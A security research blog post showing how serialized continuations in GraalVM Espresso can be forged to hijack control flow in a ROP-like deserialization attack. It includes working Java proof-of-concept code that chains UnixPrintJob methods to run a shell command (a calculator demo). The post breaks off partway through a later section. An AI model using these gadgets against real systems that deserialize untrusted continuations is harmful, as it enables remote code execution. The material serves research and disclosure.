Hacking GraalVM Espresso - Abusing Continuation API to Make ROP-like Attack

Hacking GraalVM Espresso - Abusing Continuation API to Make ROP-like Attack

Introduction

Deserialization vulnerabilities have always been among the most severe vulnerabilities in Java applications. The core principle is that attackers can construct a specific deserialization chain, which is called a “gadget”, to cause a Java application to trigger specific malicious logic when calling the ObjectInputStream.readObject method, such as calling Runtime.exec to execute a command or using the defineClass method in TemplatesImpl to load malicious bytecode.

Finding gadgets is the most challenging part of exploiting Java deserialization vulnerabilities. The earliest deserialization exploit tool came from ysoserial written by Chris Frohoff. However, most deserialization gadgets currently rely on specific third-party dependencies, such as commons-collections, commons-beanutils, or the Spring Framework. Aside from the early gadgets JDK7u21 and JDK8u20, there are almost no other gadgets that rely solely on the JDK itself.

Last year, I stumbled upon the GraalVM Espresso JDK distribution. Its GitHub repository contains an introduction to the Continuation API.

https://github.com/oracle/graal/blob/master/espresso/docs/continuations.md

One of the sections caught my eye:

Deserializing a continuation supplied by an attacker will allow a complete takeover of the JVM. Only resume continuations you persist yourself!

This piqued my curiosity, and I decided to spend some time researching this interesting feature.

Ultimately, I developed a Java deserialization gadget that relies solely on the Espresso JDK. This gadget works on all Espresso JDKs that support the Continuation API (currently, the latest version is also exploitable). Because the construction of this gadget is very similar to the ROP (Return Oriented Programming) attack used in binary exploitation, I call it ROP-like Deserialization.

However, triggering this gadget requires a specific method call, which is Continuation.resume method, so it’s not perfect, but I’m still happy to share this technique in this article.

All the code in this article is available on GitHub: https://github.com/X1r0z/hacking-espresso

What is GraalVM Espresso?

As we all know, the JDK includes many different distributions, such as Oracle JDK, Open JDK, Azul JDK, and Eclipse Temurin JDK. GraalVM, maintained by Oracle, is one of these distributions.

One of GraalVM’s most well-known features is its Native Image feature, which allows Java programs to be packaged into native binary executable files, such as EXE, ELF and Mach-O, through AOT (Ahead of Time) compilation. These binaries can run without a JVM and have extremely fast startup times and lower memory usage.

Espresso is GraalVM’s implementation of the JVM specification, written in Java and running on the Truffle framework.

https://www.graalvm.org/latest/reference-manual/espresso/

https://github.com/oracle/graal/blob/master/espresso/README.md

Spending considerable time and space on a detailed introduction to the Espresso JDK is clearly beyond the scope of this article. For now, you can simply think of it as a JVM similar to HotSpot.

Dive into Continuation API

The Espresso JDK provides a Continuation API for saving and restoring the call stack during program execution.

https://github.com/oracle/graal/blob/master/espresso/docs/continuations.md

https://github.com/oracle/graal/blob/master/espresso/docs/serialization.md

https://github.com/oracle/graal/blob/master/espresso/docs/generators.md

According to the documentation, there are two ways to use the Continuation API: ContinuationEntryPoint and Generator, corresponding to the low-level and high-level approaches, respectively.

Take ContinuationEntryPoint as an example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package exploit;

import org.graalvm.continuations.ContinuationEntryPoint;
import org.graalvm.continuations.SuspendCapability;

import java.io.Serializable;

public class Job implements ContinuationEntryPoint, Serializable {
    @Override
    public void start(SuspendCapability suspendCapability) {
        System.out.println("Continuation started");
        suspendCapability.suspend();
        System.out.println("Continuation ended");
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package exploit;

import org.graalvm.continuations.Continuation;
import util.SerializeUtil;

public class Demo {
    public static void main(String[] args) throws Throwable {
        // init classes
        Job job = new Job();
        Continuation continuation = Continuation.create(job);

        // resume continuation
        continuation.resume();

        // serialize and deserialize continuation
        System.out.println("serialize and deserialize");
        byte[] data = SerializeUtil.serialize(continuation);
        Continuation deserialized = (Continuation) SerializeUtil.deserialize(data);

        // resume the persistent continuation
        deserialized.resume();
    }
}

Note that the Continuation API is a built-in JDK feature, but when compiling Java code, you need to add the corresponding dependency in pom.xml

https://mvnrepository.com/artifact/org.graalvm.espresso/continuations

1
2
3
4
5
6
<dependency>
    <groupId>org.graalvm.espresso</groupId>
    <artifactId>continuations</artifactId>
    <version>24.1.1</version>
    <scope>compile</scope>
</dependency>

At runtime, you need to add the following JVM parameters

1
--experimental-options --java.Continuum=true

Now let’s get back on track, running the above code will output the following:

1
2
3
Continuation started
serialize and deserialize
Continuation ended

When the Continuation.resume method is called for the first time, Espresso saves the execution progress of the Job object (by calling the SuspendCapability.suspend method). The continuation object can then be serialized and saved in memory or on disk.

When deserializing, developers can resume the execution of the Job by calling the Continuation.resume method, that is, the Job will start executing after the SuspendCapability.suspend method.

We say that Java deserialization saves and restores the state of an object. Here, we say that the Continuation API can save and restore the execution process of a method in an object. That is, we can set a checkpoint by calling the SuspendCapability.suspend method to “pause” the method during execution, and save and restore the checkpoint through the serialization and deserialization process. After that, the program can continue running from the checkpoint where it was paused.

Espresso’s Continuation API is undoubtedly a powerful feature for Java programs, so let’s take a look at how it works.

org.graalvm.continuations.Continuation is an interface, and its implementation is located in org.graalvm.continuations.ContinuationImpl.

The following Javadoc for the ContinuationImpl class describes how the JVM call stack changes during suspend and resume.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
/**
 * Implementation of the {@link Continuation} class.
 *
 * <h1>Suspend</h1>
 *
 * <p>
 * The stack of a resume/suspend cycle has this form:
 *
 * <h2>Suspend</h2>
 *
 * <pre>
 *     .                                .
 *     .                                .
 *     +--------------------------------+
 *     |                                |
 *     |    ContinuationImpl.resume()   |
 *     |                                |
 *     +--------------------------------+
 *     |                                |
 *     |    ContinuationImpl.start0()   | <-- For the first resume
 *     |            OR                  |
 *     |    ContinuationImpl.resume0()  | <-- For continuations that have been suspended at least once before.
 *     |                                |
 *     |================================|
 *     |                                |
 *     |    VM code                     |
 *     |                                |
 *     |================================| <--+
 *     |                                |    |
 *     |    ContinuationImpl.run()      |    |
 *     |                                |    |
 *     |--------------------------------|    |
 *     |    EntryPoint.start()          |    |
 *     |--------------------------------|    |
 *     |    Java Frame                  |    |
 *     |--------------------------------|    |
 *     |    Java Frame                  |    |
 *     +--------------------------------+    |
 *     .                                .    |
 *     .        ...                     .     \\__ Continuation frames to be recorded
 *     .                                .     /
 *     +--------------------------------+    |
 *     |    Java Frame                  |    |
 *     |--------------------------------|    |
 *     |                                |    |
 *     |    ContinuationImpl.suspend()  |    |
 *     |                                |    |
 *     |--------------------------------| <--+
 *     |                                |
 *     |    ContinuationImpl.suspend0() |
 *     |                                |
 *     |================================|
 *     |                                |
 *     |    VM Code                     |
 *     |                                |
 *     +--------------------------------+
 * </pre>
 *
 * <p>
 * Recorded frame may not:
 * <ul>
 * <li>Be Non-Java frames (in particular, no native method), except for
 * {@link ContinuationImpl#resume0()} / {@link ContinuationImpl#start0()} and
 * {@link ContinuationImpl#suspend0()}.</li>
 * <li>Hold any lock (neither a monitor, nor any kind of standard lock from
 * {@link java.util.concurrent}).</li>
 * </ul>
 *
 * After suspension, the stack will be the following, and so without any java-side observable frame
 * popping or bytecode execution:
 * 
 * <pre>
 *     .                               .
 *     .                               .
 *     +-------------------------------+
 *     |                               |
 *     |    ContinuationImpl.resume()  |
 *     |                               |
 *     +-------------------------------+
 * </pre>
 *
 * Control is then returned to the caller.
 *
 * <h2>Resume</h2>
 *
 * Resuming takes a stack of the form
 *
 * <pre>
 *     .                                .
 *     .                                .
 *     +--------------------------------+
 *     |                                |
 *     |    ContinuationImpl.resume()   |
 *     |                                |
 *     +--------------------------------+
 *     |                                |
 *     |    ContinuationImpl.resume0()  |
 *     |                                |
 *     |================================|
 *     |                                |
 *     |    VM code                     |
 *     |                                |
 *     +================================+
 * </pre>
 *
 * Back to
 *
 * <pre>
 *     .                                .
 *     .                                .
 *     +--------------------------------+
 *     |                                |
 *     |    ContinuationImpl.resume()   |
 *     |                                |
 *     +--------------------------------+
 *     |                                |
 *     |    ContinuationImpl.resume0()  |
 *     |                                |
 *     |================================|
 *     |                                |
 *     |    VM code                     |
 *     |                                |
 *     |================================| <--+
 *     |                                |    |
 *     |    ContinuationImpl.run()      |    |
 *     |                                |    |
 *     |--------------------------------|    |
 *     |    EntryPoint.start()          |    |
 *     |--------------------------------|    |
 *     |    Java Frame                  |    |
 *     |--------------------------------|    |
 *     |    Java Frame                  |    |
 *     +--------------------------------+    |
 *     .                                .    |
 *     .        ...                     .     \\__ Recorded frames
 *     .                                .     /
 *     +--------------------------------+    |
 *     |    Java Frame                  |    |
 *     |--------------------------------|    |
 *     |                                |    |
 *     |    ContinuationImpl.suspend()  |    |
 *     |                                |    |
 *     +--------------------------------+ <--+
 * </pre>
 *
 * Then, control is handed back to {@link #suspend()}, which can then continue and complete
 * normally, effectively allowing to resume execution in the caller of {@link #suspend()}
 *
 * <h1>Record</h1>
 *
 * <p>
 * The recorded Java Frames are handled internally by the VM, and only exposed to the Java world
 * when {@link #ensureMaterialized()} is called, at which point a {@link FrameRecord Java
 * representation} of the stack record is stored in {@link #stackFrameHead}, and the VM may discard
 * its own internal record.
 * 
 * <p>
 * This Java record can then be used to serialize the continuation. Note that the contents of the
 * Java record is VM-dependent, and no assumptions should be made of its contents.
 *
 * <p>
 * The Java record can be brought back to the VM internals through {@link #ensureDematerialized()}.
 * Sanity checks may be performed to ensure the VM can recover from these frames.
 */

When calling SuspendCapability.suspend, it will enter org.graalvm.continuations.ContinuationImpl#trySuspend method

Finally, the suspend0 native method is called, which mainly does some checks.

https://github.com/oracle/graal/blob/47d997e14c7581136fe01e68dda0f606a7941fde/espresso/src/com.oracle.truffle.espresso/src/com/oracle/truffle/espresso/substitutions/Target_org_graalvm_continuations_ContinuationImpl.java#L49

The Continuation then needs to be serialized, so org.graalvm.continuations.ContinuationImpl#writeObjectExternal method is called

The ensureMaterialized method calls the materialize0 native method and saves the current call stack to the stackFrameHead list, which is a linked list

During deserialization, org.graalvm.continuations.ContinuationImpl#readObjectExternalImpl is called to restore the relevant fields

org.graalvm.continuations.ContinuationImpl#resume will be called when resuming

The ensureDematerialized method calls the dematerialize0 native method and restores the JVM call stack according to the contents of the stackFrameHead list.

https://github.com/oracle/graal/blob/47d997e14c7581136fe01e68dda0f606a7941fde/espresso/src/com.oracle.truffle.espresso/src/com/oracle/truffle/espresso/substitutions/Target_org_graalvm_continuations_ContinuationImpl.java#L182

Here we focus on the stackFrameHead field, which is essentially a linked list implemented by the org.graalvm.continuations.ContinuationImpl.FrameRecord structure.

A FrameRecord represents a stack frame and records the following information:

  • next: Points to the next FrameRecord (single-linked list structure)
  • primitives and pointers: Stacks of primitive and reference types and the local variable table (each storage unit is called a slot)
  • method: The method called currently
  • bci: bytecode index, the offset of the currently executed opcode in the bytecode (similar in function to the EIP/RIP registers)

We can call the toDebugString method before resume to observe the contents of stackFrameHead

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package exploit;

import org.graalvm.continuations.Continuation;
import util.SerializeUtil;

public class Demo {
    public static void main(String[] args) throws Throwable {
        // init classes
        Job job = new Job();
        Continuation continuation = Continuation.create(job);

        // resume continuation
        continuation.resume();

        // serialize and deserialize continuation
        System.out.println("serialize and deserialize");
        byte[] data = SerializeUtil.serialize(continuation);
        Continuation deserialized = (Continuation) SerializeUtil.deserialize(data);

        // resume the persistent continuation
        System.out.println(deserialized.toDebugString());
        // deserialized.resume();
    }
}

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Continuation[SUSPENDED] with recorded frames:
  org.graalvm.continuations.ContinuationImpl.suspend(ContinuationImpl.java:821)
    Current bytecode index: 1
    Pointers: [this continuation, null]
    Primitives: 0, 0
  org.graalvm.continuations.ContinuationImpl.trySuspend(ContinuationImpl.java:479)
    Current bytecode index: 44
    Pointers: [this continuation, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0
  org.graalvm.continuations.SuspendCapability.suspend(SuspendCapability.java:72)
    Current bytecode index: 4
    Pointers: [org.graalvm.continuations.SuspendCapability@736e2512, null]
    Primitives: 0, 0
  app//exploit.Job.start(Job.java:12)
    Current bytecode index: 9
    Pointers: [exploit.Job@b2cb001, org.graalvm.continuations.SuspendCapability@736e2512, null, null]
    Primitives: 0, 0, 0, 0
  org.graalvm.continuations.ContinuationImpl.run(ContinuationImpl.java:697)
    Current bytecode index: 38
    Pointers: [this continuation, org.graalvm.continuations.SuspendCapability@736e2512, null, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0

The bci offset of the Job.start method is 9, which corresponds exactly to the invokevirtual bytecode, where the suspend method is called.

The bci offset can be viewed using the jclasslib plugin in IntelliJ IDEA or the javap -c -s -p -l <className> command.

This means that bci points to an opcode that has already executed. Therefore, when resuming, execution will begin at the opcode after bci.

Also, note that the opcode pointed to by bci can only be invokestatic, invokespecial, invokeinterface, or invokevirtual, and invokedynamic is not included. This can be seen in the Espresso source code:

https://github.com/oracle/graal/blob/dafeca6d4db8f45b20496e193f8e926db27423f7/espresso/src/com.oracle.truffle.espresso/src/com/oracle/truffle/espresso/vm/continuation/HostFrameRecord.java#L134

The above is the core principle of the Continuation API: using the stackFrameHead linked list to store the call stack of an object. Then, during deserialization, by parsing the stackFrameHead structure, the execution process of the method can be resumed and continued.

Abusing Continuation API

So, what’s the vulnerability here? If you’ve read the analysis above and have some basic knowledge of binary exploitation, you might be familiar with a technique called SROP (Sigreturn-oriented programming).

https://en.wikipedia.org/wiki/Sigreturn-oriented_programming

In SROP, an attacker can forge a sigcontext structure on the stack based on an existing vulnerability, and use the sigreturn syscall to restore register values (including EIP/RIP) using sigcontext. In this way, the attacker can modify the control flow when restoring registers and finally get a shell.

Based on the above knowledge, you will find that the principle of stackFrameHead is similar to sigcontext. We can also control the structure of the stackFrameHead linked list, thereby modifying the JVM call stack during the resume, and then hijacking the control flow to achieve a ROP-like attack.

So, this is the core of abusing the Continuation API to achieve RCE. When modifying the stackFrameHead structure, we focus on the next, method, pointers, primitives and bci fields. Depending on the modified fields, we can get the following different effects:

  • modify bci only: Jump to a specific opcode within the current method
  • modify bci and method: Jump to a specific opcode within a specific method (similar to the concept of “gadgets” in Pwn)
  • modify next: Forge the calling relationships between multiple methods, hijack the control flow, and implement “ROP” attacks
  • modify pointers and primitives: Modify the local variable table to control the parameters passed to the method call or the return value of the return statement

Similar to the concept of gadgets (assembly instruction fragments) in ROP, “gadgets” here refer to JVM opcodes (specified by method and bci).

We need to find a gadget (actually, a method and bci) within the Espresso JDK itself and third-party dependencies that can implement malicious logic (such as command execution). It must meet the following conditions:

  1. The method must contain multiple method calls. In other words, it must contain the invokestatic/invokespecial/invokeinterface/invokevirtual opcode (excluding invokedynamic). This is because bci can only point to the invoke* opcode and will continue execution from the point after that opcode.
  2. The method must be static. Otherwise, the object containing the method must be serializable, or the subsequent JVM opcodes to be executed (the opcodes after bci) must not access the this pointer.

Jumping in different methods

Let’s start with the easy part: modifying next and bci to redirect the program to some other method.

Consider the following Job class, which implements the ContinuationEntryPoint interface

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package exploit;

import org.graalvm.continuations.ContinuationEntryPoint;
import org.graalvm.continuations.SuspendCapability;

import java.io.Serializable;

public class Job implements ContinuationEntryPoint, Serializable {
    @Override
    public void start(SuspendCapability suspendCapability) {
        System.out.println("Continuation started");
        suspendCapability.suspend();
        System.out.println("Continuation ended");
    }
}

In addition, we have a Util class whose exec method passes parameters to Runtime.exec method to execute the command

1
2
3
4
5
6
7
8
package exploit;

public class Util {
    public static void exec(String command) throws Exception {
        System.out.println("executing command: " + command);
        Runtime.getRuntime().exec(command);
    }
}

We can call toDebugString to view the current stackFrameHead structure

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package exploit;

import org.graalvm.continuations.Continuation;
import util.SerializeUtil;

public class Example {
    public static void main(String[] args) throws Throwable {
        // init classes
        Job job = new Job();
        Continuation continuation = Continuation.create(job);

        // resume continuation
        continuation.resume();

        // serialize and deserialize continuation
        System.out.println("serialize and deserialize");
        byte[] data = SerializeUtil.serialize(continuation);
        Continuation deserialized = (Continuation) SerializeUtil.deserialize(data);

        // resume the persistent continuation
        System.out.println(deserialized.toDebugString());
        deserialized.resume();
    }
}

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Continuation[SUSPENDED] with recorded frames:
  org.graalvm.continuations.ContinuationImpl.suspend(ContinuationImpl.java:821)
    Current bytecode index: 1
    Pointers: [this continuation, null]
    Primitives: 0, 0
  org.graalvm.continuations.ContinuationImpl.trySuspend(ContinuationImpl.java:479)
    Current bytecode index: 44
    Pointers: [this continuation, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0
  org.graalvm.continuations.SuspendCapability.suspend(SuspendCapability.java:72)
    Current bytecode index: 4
    Pointers: [org.graalvm.continuations.SuspendCapability@117f2070, null]
    Primitives: 0, 0
  app//exploit.Job.start(Job.java:12)
    Current bytecode index: 9
    Pointers: [exploit.Job@3a48073f, org.graalvm.continuations.SuspendCapability@117f2070, null, null]
    Primitives: 0, 0, 0, 0
  org.graalvm.continuations.ContinuationImpl.run(ContinuationImpl.java:697)
    Current bytecode index: 38
    Pointers: [this continuation, org.graalvm.continuations.SuspendCapability@117f2070, null, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0

stackFrameHead itself is a linked list, the first element of which points to the org.graalvm.continuations.ContinuationImpl.run method at the bottom.

When restoring the call stack, methods are executed from top to bottom. Here, we can try to modify the stack frame above Job.start to call the Util.exec method.

Now that we’ve determined the method is Util.exec, we need to determine the specific value of bci.

The bytecode for Util.exec is as follows:

1
2
3
4
5
6
7
8
9
 0 getstatic #7 <java/lang/System.out : Ljava/io/PrintStream;>
 3 aload_0
 4 invokedynamic #13 <makeConcatWithConstants, BootstrapMethods #0>
 9 invokevirtual #17 <java/io/PrintStream.println : (Ljava/lang/String;)V>
12 invokestatic #23 <java/lang/Runtime.getRuntime : ()Ljava/lang/Runtime;>
15 aload_0
16 invokevirtual #29 <java/lang/Runtime.exec : (Ljava/lang/String;)Ljava/lang/Process;>
19 pop
20 return

Here we can see some invoke* opcodes. At bci = 9, there is an invokevirtual call. After that, there is a call to Runtime.exec. Obviously, we can set the value of bci to 9.

Therefore, the final payload is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package exploit.gadget;

import exploit.Job;
import exploit.Util;
import util.ReflectUtil;
import util.SerializeUtil;
import org.graalvm.continuations.Continuation;

import java.lang.reflect.Method;

public class JumpInMethods {
    public static void main(String[] args) throws Exception {
        Job job = new Job();

        Continuation continuation = Continuation.create(job);
        continuation.resume();

        byte[] serialized = SerializeUtil.serialize(continuation);
        System.out.println("serialized");

        Continuation deserialized = (Continuation) SerializeUtil.deserialize(serialized);
        System.out.println("deserialized");

        // org.graalvm.continuations.ContinuationImpl.run
        Object stackFrameHead = ReflectUtil.getFieldValue(deserialized, "stackFrameHead");
        Object next = stackFrameHead;

        // exploit.Job.start
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.SuspendCapability.suspend
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.ContinuationImpl.trySuspend
        next = ReflectUtil.getFieldValue(next, "next");

        Method method = Util.class.getDeclaredMethod("exec", String.class);
        Object[] pointers = new Object[]{ null, "open -a Calculator" };
        long[] primitives = new long[]{ 0, 0 };
        int bci = 9;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        System.out.println(deserialized.toDebugString());
        deserialized.resume();
    }
}

After executing the code, the command is successfully executed

At this time, the stackFrameHead is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Continuation[SUSPENDED] with recorded frames:
  org.graalvm.continuations.ContinuationImpl.suspend(ContinuationImpl.java:821)
    Current bytecode index: 1
    Pointers: [this continuation, null]
    Primitives: 0, 0
  app//exploit.Util.exec(Util.java:5)
    Current bytecode index: 9
    Pointers: [open -a Calculator]
    Primitives: 0
  org.graalvm.continuations.SuspendCapability.suspend(SuspendCapability.java:72)
    Current bytecode index: 4
    Pointers: [org.graalvm.continuations.SuspendCapability@57f64f41, null]
    Primitives: 0, 0
  app//exploit.Job.start(Job.java:12)
    Current bytecode index: 9
    Pointers: [exploit.Job@7ec7903b, org.graalvm.continuations.SuspendCapability@57f64f41, null, null]
    Primitives: 0, 0, 0, 0
  org.graalvm.continuations.ContinuationImpl.run(ContinuationImpl.java:697)
    Current bytecode index: 38
    Pointers: [this continuation, org.graalvm.continuations.SuspendCapability@57f64f41, null, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0

UnixPrintJob RCE Gadget

In real-world scenarios, gadgets like Util.exec are rarely found, so we need to find other available gadgets.

Theoretically, there could be more than one gadget within the JDK and third-party dependencies, and more than one type of gadget (command execution/deserialization/arbitrary file read or write/SSRF).

Here’s a command execution gadget I found within the built-in Espresso JDK library: sun.print.UnixPrintJob.PrinterSpooler#run

There is a call to Runtime.exec inside the method

There is a Runtime.exec call at position 102, so bci can be set to 98 (invokevirtual opcode)

Theoretically, you can refer to the code in the previous section and achieve RCE by controlling method, bci, pointers and primitives. However, if you really try it, you will find that no matter how you control pointers, the parameter passed to Runtime.exec is always null.

So let’s review the bytecode of sun.print.UnixPrintJob.PrinterSpooler#run to see why:

1
2
3
 98 invokevirtual #140 <sun/print/UnixPrintJob.printExecCmd : (Ljava/lang/String;Ljava/lang/String;ZLjava/lang/String;ILjava/lang/String;)[Ljava/lang/String;>
101 astore_2
102 invokestatic #144 <java/lang/Runtime.getRuntime : ()Ljava/lang/Runtime;>

Based on the previous content, we set bci to 98. At this point, the astore_2 opcode will continue to execute, saving the top element of the operand stack to pointers[2]. However, the top of the operand stack is empty (null), causing execCmd variable corresponding to idx = 2 in the local variable table to be null.

The solution is to find a gadget that executes the areturn opcode and saves the command string to be executed to the top of the stack.

Here I found sun.print.UnixPrintJob#printExecCmd

The invokevirtual opcode is present at position 367, so we can set bci to 367, allowing the following areturn opcode to execute.

Next, we construct two adjacent stack frames: first, the printExecCmd method executes, using the areturn opcode to save the specified string to the top of the operand stack. Then, the run method executes, removing the element from the top of the stack and saving it to the execCmd variable, which is then passed to Runtime.exec to execute the command.

Long story short, our final payload is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package exploit.gadget;

import exploit.Job;
import util.ReflectUtil;
import util.SerializeUtil;
import org.graalvm.continuations.Continuation;

import java.lang.reflect.Method;

public class ContinuationGadget {
    public static void main(String[] args) throws Exception {
        Job job = new Job();

        Continuation continuation = Continuation.create(job);
        continuation.resume();

        byte[] serialized = SerializeUtil.serialize(continuation);
        System.out.println("serialized");

        Continuation deserialized = (Continuation) SerializeUtil.deserialize(serialized);
        System.out.println("deserialized");

        // org.graalvm.continuations.ContinuationImpl.run
        Object stackFrameHead = ReflectUtil.getFieldValue(deserialized, "stackFrameHead");
        Object next = stackFrameHead;

        Method method;
        Object[] pointers;
        long[] primitives;
        int bci;

        // exploit.Job.start
        next = ReflectUtil.getFieldValue(next, "next");
        // org.graalvm.continuations.SuspendCapability.suspend
        next = ReflectUtil.getFieldValue(next, "next");

        method = Class.forName("sun.print.UnixPrintJob$PrinterSpooler").getDeclaredMethod("run");
        pointers = new Object[]{ null, null, "a", "b", "c", "d", "e" };
        primitives = new long[]{  0, 0, 0, 0, 0, 0, 0 };
        bci = 98;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        // org.graalvm.continuations.ContinuationImpl.trySuspend
        next = ReflectUtil.getFieldValue(next, "next");

        method = Class.forName("sun.print.UnixPrintJob").getDeclaredMethod("printExecCmd", String.class, String.class, boolean.class, String.class, int.class, String.class);
        pointers = new Object[]{ null, null, "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", new String[] { "/bin/sh", "-c", "open -a Calculator" } };
        primitives = new long[]{  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
        bci = 367;

        ReflectUtil.setFieldValue(next, "method", method);
        ReflectUtil.setFieldValue(next, "pointers", pointers);
        ReflectUtil.setFieldValue(next, "primitives", primitives);
        ReflectUtil.setFieldValue(next, "bci", bci);

        System.out.println(deserialized.toDebugString());
        deserialized.resume();
    }
}

After executing the code, the command is successfully executed

At this time, the stackFrameHead is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Continuation[SUSPENDED] with recorded frames:
  org.graalvm.continuations.ContinuationImpl.suspend(ContinuationImpl.java:821)
    Current bytecode index: 1
    Pointers: [this continuation, null]
    Primitives: 0, 0
  java.desktop/sun.print.UnixPrintJob.printExecCmd(UnixPrintJob.java:901)
    Current bytecode index: 367
    Pointers: [null, a, b, c, d, e, f, g, h, i, j, k, l, [Ljava.lang.String;@25af762a]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  java.desktop/sun.print.UnixPrintJob$PrinterSpooler.run(UnixPrintJob.java:983)
    Current bytecode index: 98
    Pointers: [null, a, b, c, d, e]
    Primitives: 0, 0, 0, 0, 0, 0
  app//exploit.Job.start(Job.java:12)
    Current bytecode index: 9
    Pointers: [exploit.Job@28f12a0f, org.graalvm.continuations.SuspendCapability@42a86b92, null, null]
    Primitives: 0, 0, 0, 0
  org.graalvm.continuations.ContinuationImpl.run(ContinuationImpl.java:697)
    Current bytecode index: 38
    Pointers: [this continuation, org.graalvm.continuations.SuspendCapability@42a86b92, null, null, null, null, null, null, null]
    Primitives: 0, 0, 0, 0, 0, 0, 0, 0, 0

Looking at the payload above, you might be wondering: How do you construct pointers and primitives? Specifically, why are the lengths of these two arrays 15, and not something else? And why is the string placed at position 15 and not somewhere else?

In short, you need to “guess” to estimate the size of pointer and primitive arrays. This is because:

  1. JVM bytecode constantly uses aload* and astore* opcodes to access values from local variables during execution.

  2. The operand stack grows or shrinks during execution of some opcodes.

  3. Using bci will jump to a location within a method that is some distance from the start of the method. Therefore, the stack size may change between the start and the bci location.

To summarize, pointers and primitives must maintain a certain length. If the length is too short, it will cause a crash.

However, this length is obviously not easy to calculate directly (it requires reading each opcode and carefully analyzing stack changes). Therefore, you can roughly estimate the final length of pointers and primitives based on the length of the local variable table, and then continue to adjust the length slightly until you find an appropriate length.

Actually, Espresso JDK also uses data flow analysis (LivenessAnalysis) to optimize the length of pointers and primitives, making it even more difficult to calculate accurately.

https://github.com/oracle/graal/blob/4ed66aab3b87ec7b63bbfc5581590ea5c1d7f31f/espresso/src/com.oracle.truffle.espresso/src/com/oracle/truffle/espresso/analysis/liveness/LivenessAnalysis.java#L56

True JDK-Only RCE Gadget

Although we successfully used the UnixPrintJob class in the built-in JDK library to construct an RCE gadget in the previous section, when you deserialize this payload in a clean environment, an exception will be thrown.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package exploit;

import org.graalvm.continuations.Continuation;
import util.SerializeUtil;

import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
